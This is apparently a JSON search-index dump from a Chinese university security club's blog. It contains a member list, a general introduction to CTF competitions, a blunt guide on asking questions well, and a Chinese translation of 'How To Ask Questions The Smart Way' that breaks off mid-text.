人生不如意,十有八九(17-18协会会长) Saltyfishy - 人如果没有梦想,那可太舒服了! 张动之 - 入门级ctf选手 2016-2017 PeterZ - 一只沉迷代码的自由鹰(协会创始人,16-17协会会长) Xishir - A code monster.(协会创始人,16-18协会副会长) l1nk3r - 愿你出走半生归来仍是少年 backCover7 - Light up the Night! Jaken - River flows in you. 泡面 - 唯利是图 ju5tw4nty0u - Nothing is impossible to a willing heart."},{"title":"test","date":"2023-08-22T17:13:45.000Z","updated":"2024-01-23T02:58:32.730Z","comments":false,"path":"test/index.html","permalink":"https://www.xmutsec.cn/test/","excerpt":"","text":"[1x0x02⋯x0n1x1x12⋯x1n⋮⋮⋮⋱⋮1xnxn2⋯xnn][a0a1⋮an]=[y0y1⋮yn]\\begin{bmatrix} 1 & x_0 & x_0^2 & \\cdots & x_0^n \\\\ 1 & x_1 & x_1^2 & \\cdots & x_1^n \\\\ \\vdots & \\vdots & \\vdots & \\ddots & \\vdots \\\\ 1 & x_n & x_n^2 & \\cdots & x_n^n \\end{bmatrix} \\begin{bmatrix} a_0 \\\\ a_1 \\\\ \\vdots \\\\ a_n \\end{bmatrix} = \\begin{bmatrix} y_0 \\\\ y_1 \\\\ \\vdots \\\\ y_n \\end{bmatrix} ​11⋮1​x0​x1​⋮xn​​x02​x12​⋮xn2​​⋯⋯⋱⋯​x0n​x1n​⋮xnn​​​​a0​a1​⋮an​​​=​y0​y1​⋮yn​​​ 12import reprint('Hello World') 12 12 11231223 12312312 123"}],"posts":[{"title":"CTF是什么?","slug":"CTF是什么?","date":"2024-01-23T02:58:32.706Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2024/01/23/CTF是什么?/","link":"","permalink":"https://www.xmutsec.cn/2024/01/23/CTF%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F/","excerpt":"","text":"CTF介绍 以下内容来自CTF-Wiki,欢迎fork CTF-Wiki仓库。简介 - CTF Wiki (ctf-wiki.org) CTF(Capture The Flag,夺旗赛)起源于 1996 年 DEFCON 全球黑客大会,是网络安全爱好者之间的竞技游戏。 CTF 竞赛涉及众多领域,内容繁杂。与此同时,安全技术的发展速度越来越快,CTF 题目的难度越来越高,初学者面对的门槛越来越高。而网上资料大都零散琐碎,初学者往往并不知道该如何系统性地学习 CTF 相关领域知识,常需要花费大量时间,苦不堪言。 为了使得热爱 CTF 的小伙伴们更好地入门 CTF,2016 年 10 月份,CTF Wiki 在 Github 有了第一次 commit。随着内容不断完善,CTF Wiki 受到了越来越多安全爱好者的喜爱,也渐渐有素未谋面的小伙伴们参与进来。 作为一个自由的站点,围绕 CTF 近几年赛题,CTF Wiki 对 CTF 中的各个方向的知识和技术进行介绍,以便于初学者更好地学习 CTF 相关的知识。 目前,CTF Wiki 主要包含 CTF 各大范畴的基础知识,并正在着力完善以下内容 CTF 竞赛中的进阶知识 CTF 竞赛中的优质题目 关于上述部分待完善内容,请参见 CTF Wiki 的 Projects,详细列出了正在做的事项以及待做事项。 当然,CTF Wiki 基于 CTF,却不会局限于 CTF。在未来,CTF Wiki 将会 介绍安全研究中的工具 更多地与安全实战结合 此外,鉴于以下两点 技术应该以开放的方式共享。 安全攻防技术总是在不断演进,旧的技术在面对新的技术时可能失效。 CTF和ACM的区别 以下内容来自知乎,内容稍作修改 ACM相对于CTF,内容很单一,就算法与数据结构,知识面窄,但就是这很窄的知识面,大部分人直到退役都不能全部掌握,但是它门槛低,就算你大学之前毫无编程基础,大一开始刷天梯赛题集入门,保持刷牛客,cf,每场补题,到大三也能拿至少区域赛银了(目前国内xcpc水平不高,通常签到题顺畅就能银)但是要思考的是,这个银有多大意义?如果为了保研,ACM性价比绝对要比发论文低。毕竟在研究生面试的时候,导师们会更关注你的论文,而不是这种算法竞赛。如果为了工作,那么恭喜你,你所学的算法与数据结构是面试必考项目,你可以在这方面很突出,但同时很不幸,面试过后,你的项目能力可能不及其他人。项目里很少会用到算法竞赛里用的这些东西,反而可能会因为竞赛养成的某些坏习惯(变量命名,开空间)而被骂。最好要么把ACM当做锻炼自己思维以及编码能力的工具,要么就为了荣誉,在这里做出一番成绩,为了功利,性价比低。 CTF的话,不可能有一个人面面俱到,因为它的范围太广了,所以,这是一个看队友的比赛,这并不是说ACM不看队友,ACM是三人竞赛,但是通常做题是各做各的,实际上如果你一个人自己打,也不是不能,毕竟大部分知识是三人都会的。但是CTF不是,分工很明确,你web,他pwn,我reverse,我的领域你不懂,你的领域我发懵,所以,如果选择CTF,一定要确保你有可以坚持下去的队友,并且保证他能去专精他负责的方向,你能去专精你负责的方向,人人不当短板。其次,CTF更加考验团队合作能力,一道题可能综合多个方向的知识,有时候需要掌握不同知识的人通力合作才能做出。再然后,CTF很吃你的知识面,如果你知道的知识特别多(主要但不仅限于计算机知识),那么你就是适合CTF的。但假如你连linux都没用过,或者你不了解基本的计算机/网络组成原理,不会任意一门编程语言,并且没有引路人,那么你是不适合打CTF的。 作者:KrK1ng 链接:https://www.zhihu.com/question/352922470/answer/873436590 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。","categories":[],"tags":[{"name":"CTF","slug":"CTF","permalink":"https://www.xmutsec.cn/tags/CTF/"}]},{"title":"别像弱智一样提问(Stop Ask Questions The Stupid Ways)","slug":"babe3810-d68b-427b-a570-80e88595ff2b","date":"2023-09-13T10:52:19.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2023/09/13/babe3810-d68b-427b-a570-80e88595ff2b/","link":"","permalink":"https://www.xmutsec.cn/2023/09/13/babe3810-d68b-427b-a570-80e88595ff2b/","excerpt":"","text":"别像弱智一样提问 Stop-Ask-Questions-The-Stupid-Ways 你真的准备好了吗? 感谢群友 for you 提供 避免 xy-problem 参考地址: http://xyproblem.info/ XY Problem 表示 提问者想要解决 原问题 X ,且觉得解决了 引申问题 Y 就能解决 X 问题 提问者对外提出了解决 Y 的的请求 回答者帮助提问者解决 Y 问题。(浪费了回答者和提问者双方的时间) 然而, 最终 Y 问题可能并不是 X 问题的一个合适的解决方法 因此, 提问者要避免创造这样的修罗场, 需要学会在问题之初就准确描述自己的根本问题。 学会描述问题 提问前你必须需要知道的事情 要知道, Free 的正确翻译是 自由,而非 免费。 要知道,愿意回答问题的人,都是 可爱 的人。 要知道,向帮助你的人 付费 是一个高尚的行为。即使回答你的人不是为了钱。 要知道,花钱买时间是一个常识。如果你不能认同,要么你钱包穷,要么你思想穷。 要知道,给对方发工资的不是你或者你老板。 要知道,提问的时候你才是 孙子,帮助你的人是 大爷。 要知道,不回答你的问题对其他人没有任何损失。 要知道,准确描述一件事情是一项基本生存技能。要学会 《提问的智慧》 要知道,搜索是一项基本生存技能,学不会用 Google 的话,你可能真的不适合你所从事的行业。 要知道,英文是一项基本生存技能,不认识英文的话,你可能真的不适合你所从事的行业。 幼儿园的小朋友都知道要有礼貌 请问 …问题描述… 谢谢 学会描述问题 向别人提问的时候,要学会正确的描述问题。 把对方当成你的老板,你在给他做报告。要用最精炼的文字和图片,向对方阐述明白一个事情的来龙去脉。 要知道,你不是我追的妹子,我没有时间来猜你想要什么。 记住,给别人的条件越多,你的问题解决越快。因为这不是解密游戏。 请问一个关于 什么 的问题。 我想要达到 什么样 效果,但是我这样做出现了 什么样 的问题。 报错日志是 这样 的。(要 学会 画关键字) 我尝试过 什么 方法来解决。 我尝试搜索过了 什么 关键字,在里面找到了 这些 URL 的回答,尝试了还是没有解决问题。 我用的是 什么 操作系统,版本号是多少。 我用的是 什么 软件,版本号是多少。 谢谢 千万别认为只有别人帮助你之后才需要说 谢谢。 学会什么时候贴图 像这种,IM 自动转义表情,贴出来的问题全是表情。 学会什么时候要圈出重点 千万不要认为别人的频率和你是同步的,然后像这样扔出一张图一个表情就了事了。 在工作中, 你@的人可能会多问一句什么情况。 但是在 IM 聊天群里面,就没有这么好运气了。 如下很难吗? @xxx,我这边访问不了 git 仓库。 环境是: 环境是什么。 学会什么时候贴文字 什么是弱智一样的提问 萌新滚粗 什么鬼? 咋回事? 怎么办? 救命啊!! 自己 google 自己 google 自己 google 自己 google 了吗 转自GitHub: 别像弱智一样提问","categories":[],"tags":[]},{"title":"提问的智慧(How To Ask Questions The Smart Way)","slug":"7a5251b8-19e1-4dc3-8673-b41b07ee1dda","date":"2023-09-13T10:49:54.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2023/09/13/7a5251b8-19e1-4dc3-8673-b41b07ee1dda/","link":"","permalink":"https://www.xmutsec.cn/2023/09/13/7a5251b8-19e1-4dc3-8673-b41b07ee1dda/","excerpt":"","text":"提问的智慧 How To Ask Questions The Smart Way Copyright © 2001,2006,2014 Eric S. Raymond, Rick Moen 本指南英文版版权为 Eric S. Raymond, Rick Moen 所有。 原文网址:http://www.catb.org/~esr/faqs/smart-questions.html Copyleft 2001 by D.H.Grand(nOBODY/Ginux), 2010 by Gasolin, 2015 by Ryan Wu 本中文指南是基于原文 3.10 版以及 2010 年由 Gasolin 所翻译版本的最新翻译; 协助指出翻译问题,请发 issue,或直接发 pull request 给我。 本文另有繁體中文版。 原文版本历史 目录 提问的智慧 原文版本历史 目录 声明 简介 在提问之前 当你提问时 慎选提问的论坛 Stack Overflow 网站和 IRC 论坛 第二步,使用项目邮件列表 使用有意义且描述明确的标题 使问题容易回复 使用清晰、正确、精准且合乎语法的语句 使用易于读取且标准的文件格式发送问题 精确地描述问题并言之有物 话不在多而在精 别动辄声称找到 Bug 低声下气不能代替你的功课 描述问题症状而非你的猜测 按发生时间先后列出问题症状 描述目标而不是过程 别要求使用私人电邮回复 清楚明确地表达你的问题以及需求 询问有关代码的问题时 别把自己家庭作业的问题贴上来 去掉无意义的提问句 即使你很急也不要在标题写紧急 礼多人不怪,而且有时还很有帮助 问题解决后,加个简短的补充说明 如何解读答案 RTFM 和 STFW:如何知道你已完全搞砸了 如果还是搞不懂 处理无礼的回应 如何避免扮演失败者 不该问的问题 好问题与蠢问题 如果得不到回答 如何更好地回答问题 相关资源 鸣谢 声明 许多项目在他们网站的帮助文档中链接了本指南。这很好,这正是我们想要的用途。但如果你是该项目管理员并试图创建指向本指南的超链接,请在超链接附近的显著位置注明: 本指南不提供此项目的实际支持服务! 我们已经深刻领教到缺少上述声明所带来的痛苦:我们将不停地被那些认为发布这本指南就意味着有责任解决世上所有技术问题的傻瓜苦苦纠缠。 如果你因寻求某些帮助而阅读本指南,并在离开时还觉得可以从本文作者这里得到直接帮助,那你就是我们之前说的那些傻瓜之一。别问我们问题,我们只会忽略你。我们在这本指南中想教你如何从那些真正懂得你所遇到的软件或硬件问题的人处取得协助,而 99% 的情况下那不会是我们。除非你确定本指南的作者之一刚好是你所遇到的问题领域的专家,否则请不要打扰我们,这样大家都会开心一点。 简介 在黑客的世界里,当你拋出一个技术问题时,最终是否能得到有用的回答,往往取决于你所提问和追问的方式。本指南将教你如何正确地提问以获得你满意的答案。 现在开源(Open Source)软件已经相当盛行,您通常可以从其他更有经验的用户那里获得与黑客一样好的答案,这是件好事;和黑客相比,用户们往往对那些新手常遇到的问题更宽容一些。尽管如此,以我们在此推荐的方式对待这些有经验的用户通常也是从他们那里获得有用答案的最有效方式。 首先你应该明白,黑客们喜爱有挑战性的问题,或者能激发他们思维的好问题。如果我们并非如此,那我们也不会成为你想询问的对象。如果你给了我们一个值得反复咀嚼玩味的好问题,我们自会对你感激不尽。好问题是激励,是厚礼。好问题可以提高我们的理解力,而且通常会暴露我们以前从没意识到或者思考过的问题。对黑客而言,“好问题!”是诚挚的大力称赞。 尽管如此,黑客们有着蔑视或傲慢面对简单问题的坏名声,这有时让我们看起来对新手、无知者似乎较有敌意,但其实不是那样的。 我们不讳言我们对那些不愿思考、或者在发问前不做他们该做的事的人的蔑视。那些人是时间杀手 —— 他们只想索取,从不付出,消耗我们可用在更有趣的问题或更值得回答的人身上的时间。我们称这样的人为 失败者(撸瑟) (由于历史原因,我们有时把它拼作 lusers)。 我们意识到许多人只是想使用我们写的软件,他们对学习技术细节没有兴趣。对大多数人而言,电脑只是种工具,是种达到目的的手段而已。他们有自己的生活并且有更要紧的事要做。我们认可这点,也从不指望每个人都对这些让我们着迷的技术问题感兴趣。尽管如此,我们只为那些真正有兴趣并愿意积极参与问题解决的人调整回答问题的风格。这点不会变,也不该变:否则,我们就是在最擅长的事情上降低效率。 我们(在很大程度上)是自愿的,从繁忙的生活中抽出时间来解答疑惑,而且时常被提问淹没。所以我们无情地滤掉一些话题,特别是拋弃那些看起来像失败者的家伙,以便更高效地利用时间来回答赢家(winner)的问题。 如果你厌恶我们的态度,高高在上,或过于傲慢,不妨也设身处地想想。我们并没有要求你向我们屈服 —— 事实上,我们大多数人非常乐意与你平等地交流,只要你付出小小努力来满足基本要求,我们就会欢迎你加入我们的文化。但让我们帮助那些不愿意帮助自己的人是没有效率的。无知没有关系,但装白痴就是不行。 所以,你不必在技术上很在行才能吸引我们的注意,但你必须表现出能引导你变得在行的特质 —— 机敏、有想法、善于观察、乐于主动参与解决问题。如果你做不到这些使你与众不同的事情,我们建议你花点钱找家商业公司签个技术支持服务合同,而不是要求黑客个人无偿地帮助你。 如果你决定向我们求助,当然你也不希望被视为失败者,更不愿成为失败者中的一员。能立刻得到快速并有效答案的最好方法,就是像赢家那样提问 —— 聪明、自信、有解决问题的思路,只是偶尔在特定的问题上需要获得一点帮助。 (欢迎对本指南提出改进意见。你可以把你的建议发送至 esr@thyrsus.com 或 respond-auto@linuxmafia.com。然而请注意,本文并非网络礼节的通用指南,而我们通常会拒绝无助于在技术论坛得到有用答案的建议)。 在提问之前 在你准备要通过电子邮件、新闻群组或者聊天室提出技术问题前,请先做到以下事情: 尝试在你准备提问的论坛的旧文章中搜索答案。 尝试上网搜索以找到答案。 尝试阅读手册以找到答案。 尝试阅读常见问题文件(FAQ)以找到答案。 尝试自己检查或试验以找到答案。 向你身边的强者朋友打听以找到答案。 如果你是程序开发者,请尝试阅读源代码以找到答案。 当你提出问题的时候,请先表明你已经做了上述的努力;这将有助于树立你并不是一个不劳而获且浪费别人的时间的提问者。如果你能一并表达在做了上述努力的过程中所学到的东西会更好,因为我们更乐于回答那些表现出能从答案中学习的人的问题。 运用某些策略,比如先用 Google 搜索你所遇到的各种错误信息(搜索 Google 论坛和网页),这样很可能直接就找到了能解决问题的文件或邮件列表线索。即使没有结果,在邮件列表或新闻组寻求帮助时加上一句 我在 Google 中搜过下列句子但没有找到什么有用的东西 也是件好事,即使它只是表明了搜索引擎不能提供哪些帮助。这么做(加上搜索过的字串)也让遇到相似问题的其他人能被搜索引擎引导到你的提问来。 别着急,不要指望几秒钟的 Google 搜索就能解决一个复杂的问题。在向专家求助之前,再阅读一下常见问题文件(FAQ)、放轻松、坐得舒服一些,再花点时间思考一下这个问题。相信我们,他们能从你的提问看出你做了多少阅读与思考,如果你是有备而来,将更有可能得到解答。不要将所有问题一股脑拋出,只因你的第一次搜索没有找到答案(或者找到太多答案)。 准备好你的问题,再将问题仔细地思考过一遍,因为草率的发问只能得到草率的回答,或者根本得不到任何答案。越是能表现出在寻求帮助前你为解决问题所付出的努力,你越有可能得到实质性的帮助。 小心别问错了问题。如果你的问题基于错误的假设,某个普通黑客(J. Random Hacker)多半会一边在心里想着蠢问题…,一边用无意义的字面解释来答复你,希望着你会从问题的回答(而非你想得到的答案)中汲取教训。 绝不要自以为够格得到答案,你没有;你并没有。毕竟你没有为这种服务支付任何报酬。你将会是自己去挣到一个答案,靠提出有内涵的、有趣的、有思维激励作用的问题 —— 一个有潜力能贡献社区经验的问题,而不仅仅是被动地从他人处索取知识。 另一方面,表明你愿意在找答案的过程中做点什么是一个非常好的开端。谁能给点提示?、我的这个例子里缺了什么?以及我应该检查什么地方比请把我需要的确切的过程贴出来更容易得到答复。因为你表现出只要有人能指个正确方向,你就有完成它的能力和决心。 当你提问时 慎选提问的论坛 小心选择你要提问的场合。如果你做了下述的事情,你很可能被忽略掉或者被看作失败者: 在与主题不合的论坛上贴出你的问题。 在探讨进阶技术问题的论坛张贴非常初级的问题;反之亦然。 在太多的不同新闻群组上重复转贴同样的问题(cross-post)。 向既非熟人也没有义务解决你问题的人发送私人电邮。 黑客会剔除掉那些搞错场合的问题,以保护他们沟通的渠道不被无关的东西淹没。你不会想让这种事发生在自己身上的。 因此,第一步是找到对的论坛。再说一次,Google 和其它搜索引擎还是你的朋友,用它们来找到与你遭遇到困难的软硬件问题最相关的网站。通常那儿都有常见问题(FAQ)、邮件列表及相关说明文件的链接。如果你的努力(包括阅读 FAQ)都没有结果,网站上也许还有报告 Bug(Bug-reporting)的流程或链接,如果是这样,链过去看看。 向陌生的人或论坛发送邮件最可能是风险最大的事情。举例来说,别假设一个提供丰富内容的网页的作者会想充当你的免费顾问。不要对你的问题是否会受到欢迎做太乐观的估计 —— 如果你不确定,那就向别处发送,或者压根别发。 在选择论坛、新闻群组或邮件列表时,别太相信它的名字,先看看 FAQ 或者许可书以弄清楚你的问题是否切题。发文前先翻翻已有的话题,这样可以让你感受一下那里的文化。事实上,事先在新闻组或邮件列表的历史记录中搜索与你问题相关的关键词是个极好的主意,也许这样就找到答案了。即使没有,也能帮助你归纳出更好的问题。 别像机关枪似的一次“扫射”所有的帮助渠道,这就像大喊大叫一样会使人不快。要一个一个地来。 搞清楚你的主题!最典型的错误之一是在某种致力于跨平台可移植的语言、套件或工具的论坛中提关于 Unix 或 Windows 操作系统程序界面的问题。如果你不明白为什么这是大错,最好在搞清楚这之间差异之前什么也别问。 一般来说,在仔细挑选的公共论坛中提问,会比在私有论坛中提同样的问题更容易得到有用的回答。有几个理由可以支持这点,一是看潜在的回复者有多少,二是看观众有多少。黑客较愿意回答那些能帮助到许多人的问题。 可以理解的是,老练的黑客和一些热门软件的作者正在接受过多的错发信息。就像那根最后压垮骆驼背的稻草一样,你的加入也有可能使情况走向极端 —— 已经好几次了,一些热门软件的作者由于涌入其私人邮箱的大量不堪忍受的无用邮件而不再提供支持。 Stack Overflow 搜索,然后在 Stack Exchange 问。 近年来,Stack Exchange 社区已经成为回答技术及其他问题的主要渠道,尤其是那些开放源码的项目。 因为 Google 索引是即时的,在看 Stack Exchange 之前先在 Google 搜索。有很高的几率某人已经问了一个类似的问题,而且 Stack Exchange 网站们往往会是搜索结果中最前面几个。如果你在 Google 上没有找到任何答案,你再到特定相关主题的网站去找。用标签(Tag)搜索能让你更缩小你的搜索结果。 如果你还是找不到任何对你的问题有用的内容,请把你的问题发在与它最相关的网站上。提问的时候请善用格式化工具,尤其注意为代码添加格式,并且添加相关的标签(特别是编程语言、操作系统或库/包的名称)。当有人要求你提供更多相关信息时,请编辑你的贴子来补充它们[译注:而不是发一个回帖或回答!]。如果你觉得一个答案对你有帮助,点击向上的箭头来为它投票;如果一个答案提供了问题的正确解决方案,点击投票按钮下方的对勾来将它标记为正解。 Stack Exchange 已经成长到超过一百个网站,以下是最常用的几个站: Super User 是问一些通用的电脑问题,如果你的问题跟代码或是写程序无关,只是一些网络连线之类的,请到这里。 Stack Overflow 是问写程序有关的问题。 Server Fault 是问服务器和网管相关的问题。 网站和 IRC 论坛 本地的用户群组(user group),或者你所用的 Linux 发行版本也许正在宣传他们的网页论坛或 IRC 频道,并提供新手帮助(在一些非英语国家,新手论坛很可能还是邮件列表),这些都是开始提问的好地方,特别是当你觉得遇到的也许只是相对简单或者很普通的问题时。有广告赞助的 IRC 频道是公开欢迎提问的地方,通常可以即时得到回应。 事实上,如果程序出的问题只发生在特定 Linux 发行版提供的版本(这很常见),最好先去该发行版的论坛或邮件列表中提问,再到程序本身的论坛或邮件列表提问。(否则)该项目的黑客可能仅仅回复“使用我们的版本”。 在任何论坛发文以前,先确认一下有没有搜索功能。如果有,就试着搜索一下问题的几个关键词,也许这会有帮助。如果在此之前你已做过通用的网页搜索(你也该这样做),还是再搜索一下论坛,搜索引擎有可能没来得及索引此论坛的全部内容。 通过论坛或 IRC 频道来提供用户支持服务有增长的趋势,电子邮件则大多为项目开发者间的交流而保留。所以最好先在论坛或 IRC 中寻求与该项目相关的协助。 在使用 IRC 的时候,首先最好不要发布很长的问题描述,有些人称之为频道洪水。最好通过一句话的问题描述来开始聊天。 第二步,使用项目邮件列表 当某个项目提供开发者邮件列表时,要向列表而不是其中的个别成员提问,即使你确信他能最好地回答你的问题。查一查项目的文件和首页,找到项目的邮件列表并使用它。有几个很好的理由支持我们采用这种办法: 任何好到需要向个别开发者提出的问题,也将对整个项目群组有益。反之,如果你认为自己的问题对整个项目群组来说太愚蠢,那这也不能成为骚扰个别开发者的理由。 向列表提问可以分散开发者的负担,个别开发者(尤其是项目领导人)也许太忙以至于没法回答你的问题。 大多数邮件列表都会被存档,那些被存档的内容将被搜索引擎索引。如果你向列表提问并得到解答,将来其他人可以通过网页搜索找到你的问题和答案,也就不用再次发问了。 如果某些问题经常被问到,开发者可以利用此信息来改进说明文件或软件本身,以使其更清楚。如果只是私下提问,就没有人能看到最常见问题的完整场景。 如果一个项目既有“用户”也有“开发者”(或“黑客”)邮件列表或论坛,而你又不会动到那些源代码,那么就向“用户”列表或论坛提问。不要假设自己会在开发者列表中受到欢迎,那些人多半会将你的提问视为干扰他们开发的噪音。 然而,如果你确信你的问题很特别,而且在“用户”列表或论坛中几天都没有回复,可以试试前往“开发者”列表或论坛发问。建议你在张贴前最好先暗地里观察几天以了解那里的行事方式(事实上这是参与任何私有或半私有列表的好主意) 如果你找不到一个项目的邮件列表,而只能查到项目维护者的电子邮件地址,尽管向他发信。即使是在这种情况下,也别假设(项目)邮件列表不存在。在你的电子邮件中,请陈述你已经试过但没有找到合适的邮件列表,也提及你不反对将自己的邮件转发给他人(许多人认为,即使没什么秘密,私人电子邮件也不应该被公开。通过允许将你的电子邮件转发他人,你给了相应人员处置你邮件的选择)。 使用有意义且描述明确的标题 在邮件列表、新闻群组或论坛中,大约 50 字以内的标题是抓住资深专家注意力的好机会。别用喋喋不休的帮帮忙、跪求、急(更别说救命啊!!!!这样让人反感的话,用这种标题会被条件反射式地忽略)来浪费这个机会。不要妄想用你的痛苦程度来打动我们,而应该是在这点空间中使用极简单扼要的描述方式来提出问题。 一个好标题范例是目标 —— 差异式的描述,许多技术支持组织就是这样做的。在目标部分指出是哪一个或哪一组东西有问题,在差异部分则描述与期望的行为不一致的地方。 蠢问题:救命啊!我的笔记本电脑不能正常显示了! 聪明问题:X.org 6.8.1 的鼠标指针会变形,某牌显卡 MV1005 芯片组。 更聪明问题:X.org 6.8.1 的鼠标指针,在某牌显卡 MV1005 芯片组环境下 - 会变形。 编写目标 —— 差异 式描述的过程有助于你组织对问题的细致思考。是什么被影响了? 仅仅是鼠标指针或者还有其它图形?只在 X.org 的 X 版中出现?或只是出现在 6.8.1 版中? 是针对某牌显卡芯片组?或者只是其中的 MV1005 型号? 一个黑客只需瞄一眼就能够立即明白你的环境和你遇到的问题。 总而言之,请想像一下你正在一个只显示标题的存档讨论串(Thread)索引中查寻。让你的标题更好地反映问题,可使下一个搜索类似问题的人能够关注这个讨论串,而不用再次提问相同的问题。 如果你想在回复中提出问题,记得要修改内容标题,以表明你是在问一个问题, 一个看起来像 Re: 测试 或者 Re: 新 bug 的标题很难引起足够重视。另外,在不影响连贯性之下,适当引用并删减前文的内容,能给新来的读者留下线索。 对于讨论串,不要直接点击回复来开始一个全新的讨论串,这将限制你的观众。因为有些邮件阅读程序,比如 mutt ,允许用户按讨论串排序并通过折叠讨论串来隐藏消息,这样做的人永远看不到你发的消息。 仅仅改变标题还不够。mutt 和其它一些邮件阅读程序还会检查邮件标题以外的其它信息,以便为其指定讨论串。所以宁可发一个全新的邮件。 在网页论坛上,好的提问方式稍有不同,因为讨论串与特定的信息紧密结合,并且通常在讨论串外就看不到里面的内容,故通过回复提问,而非改变标题是可接受的。不是所有论坛都允许在回复中出现分离的标题,而且这样做了基本上没有人会去看。不过,通过回复提问,这本身就是暧昧的做法,因为它们只会被正在查看该标题的人读到。所以,除非你只想在该讨论串当前活跃的人群中提问,不然还是另起炉灶比较好。 使问题容易回复 以请将你的回复发送到……来结束你的问题多半会使你得不到回答。如果你觉得花几秒钟在邮件客户端设置一下回复地址都麻烦,我们也觉得花几秒钟思考你的问题更麻烦。如果你的邮件程序不支持这样做,换个好点的;如果是操作系统不支持这种邮件程序,也换个好点的。 在论坛,要求通过电子邮件回复是非常无礼的,除非你认为回复的信息可能比较敏感(有人会为了某些未知的原因,只让你而不是整个论坛知道答案)。如果你只是想在有人回复讨论串时得到电子邮件提醒,可以要求网页论坛发送给你。几乎所有论坛都支持诸如追踪此讨论串、有回复时发送邮件提醒等功能。 使用清晰、正确、精准且合乎语法的语句 我们从经验中发现,粗心的提问者通常也会粗心地写程序与思考(我敢打包票)。回答粗心大意者的问题很不值得,我们宁愿把时间耗在别处。 正确的拼写、标点符号和大小写是很重要的。一般来说,如果你觉得这样做很麻烦,不想在乎这些,那我们也觉得麻烦,不想在乎你的提问。花点额外的精力斟酌一下字句,用不着太僵硬与正式 —— 事实上,黑客文化很看重能准确地使用非正式、俚语和幽默的语句。但它必须很准确,而且有迹象表明你是在思考和关注问题。 正确地拼写、使用标点和大小写,不要将its混淆为it's,loose搞成lose或者将discrete弄成discreet。不要全部用大写,这会被视为无礼的大声嚷嚷(全部小写也好不到哪去,因为不易阅读。Alan Cox 也许可以这样做,但你不行)。 更白话的说,如果你写得像是个半文盲[译注:小白],那多半得不到理睬。也不要使用即时通信中的简写或火星文,如将的简化为d会使你看起来像一个为了少打几个键而省字的小白。更糟的是,如果像个小孩似地鬼画符那绝对是在找死,可以肯定没人会理你(或者最多是给你一大堆指责与挖苦)。 如果在使用非母语的论坛提问,你可以犯点拼写和语法上的小错,但决不能在思考上马虎(没错,我们通常能弄清两者的分别)。同时,除非你知道回复者使用的语言,否则请使用英语书写。繁忙的黑客一般会直接删除用他们看不懂的语言写的消息。在网络上英语是通用语言,用英语书写可以将你的问题在尚未被阅读就被直接删除的可能性降到最低。 如果英文是你的外语(Second language),提示潜在回复者你有潜在的语言困难是很好的: [译注:以下附上原文以供使用] English is not my native language; please excuse typing errors. 英文不是我的母语,请原谅我的错字或语法。 If you speak $LANGUAGE, please email/PM me; I may need assistance translating my question. 如果你说某语言,请向我发电邮/私信; 我需要有人协助我翻译我的问题。 I am familiar with the technical terms, but some slang expressions and idioms are difficult for me. 我对技术名词很熟悉,但对于俗语或是特别用法不甚了解。 I’ve posted my question in $LANGUAGE and English. I’ll be glad to translate responses, if you only use one or the other. 我把我的问题用某语言和英文写出来。 如果你只用其中的一种语言回答,我会乐意将回复翻译成为你使用的语言。 使用易于读取且标准的文件格式发送问题 如果你人为地将问题搞得难以阅读,它多半会被忽略,人们更愿读易懂的问题,所以: 使用纯文字而不是 HTML (关闭 HTML 并不难)。 使用 MIME 附件通常是可以的,前提是真正有内容(譬如附带的源代码或 patch),而不仅仅是邮件程序生成的模板(譬如只是信件内容的拷贝)。 不要发送一段文字只是一行句子但自动换行后会变成多行的邮件(这使得回复部分内容非常困难)。设想你的读者是在 80 个字符宽的终端机上阅读邮件,最好设置你的换行分割点小于 80 字。 但是,对一些特殊的文件不要设置固定宽度(譬如日志文件拷贝或会话记录)。数据应该原样包含,让回复者有信心他们看到的是和你看到的一样的东西。 在英语论坛中,不要使用Quoted-Printable MIME 编码发送消息。这种编码对于张贴非 ASCII 语言可能是必须的,但很多邮件程序并不支持这种编码。当它们处理换行时,那些文本中四处散布的=20符号既难看也分散注意力,甚至有可能破坏内容的语意。 绝对,永远不要指望黑客们阅读使用封闭格式编写的文档,像微软公司的 Word 或 Excel 文件等。大多数黑客对此的反应就像有人将还在冒热气的猪粪倒在你家门口时你的反应一样。即便他们能够处理,他们也很厌恶这么做。 如果你从使用 Windows 的电脑发送电子邮件,关闭微软愚蠢的智能引号功能 (从[选项] > [校订] > [自动校正选项],勾选掉智能引号单选框),以免在你的邮件中到处散布垃圾字符。 在论坛,勿滥用表情符号和HTML功能(当它们提供时)。一两个表情符号通常没有问题,但花哨的彩色文本倾向于使人认为你是个无能之辈。过滥地使用表情符号、色彩和字体会使你看来像个傻笑的小姑娘。这通常不是个好主意,除非你只是对性而不是对答案感兴趣。 如果你使用图形用户界面的邮件程序(如微软公司的 Outlook 或者其它类似的),注意它们的默认设置不一定满足这些要求。大多数这类程序有基于选单的查看源代码命令,用它来检查发送文件夹中的邮件,以确保发送的是纯文本文件同时没有一些奇怪的字符。 精确地描述问题并言之有物 仔细、清楚地描述你的问题或 Bug 的症状。 描述问题发生的环境(机器配置、操作系统、应用程序、以及相关的信息),提供经销商的发行版和版本号(如:Fedora Core 4、Slackware 9.1等)。 描述在提问前你是怎样去研究和理解这个问题的。 描述在提问前为确定问题而采取的诊断步骤。 描述最近做过什么可能相关的硬件或软件变更。 尽可能地提供一个可以重现这个问题的可控环境的方法。 尽量去揣测一个黑客会怎样反问你,在你提问之前预先将黑客们可能提出的问题回答一遍。 以上几点中,当你报告的是你认为可能在代码中的问题时,给黑客一个可以重现你的问题的环境尤其重要。当你这么做时,你得到有效的回答的机会和速度都会大大的提升。 Simon Tatham 写过一篇名为《如何有效的报告 Bug》的出色文章。强力推荐你也读一读。 话不在多而在精 你需要提供精确有内容的信息。这并不是要求你简单的把成堆的出错代码或者资料完全转录到你的提问中。如果你有庞大而复杂的测试样例能重现程序挂掉的情境,尽量将它剪裁得越小越好。 这样做的用处至少有三点。 第一,表现出你为简化问题付出了努力,这可以使你得到回答的机会增加; 第二,简化问题使你更有可能得到有用的答案; 第三,在精炼你的 bug 报告的过程中,你很可能就自己找到了解决方法或权宜之计。 别动辄声称找到 Bug 当你在使用软件中遇到问题,除非你非常、非常的有根据,不要动辄声称找到了 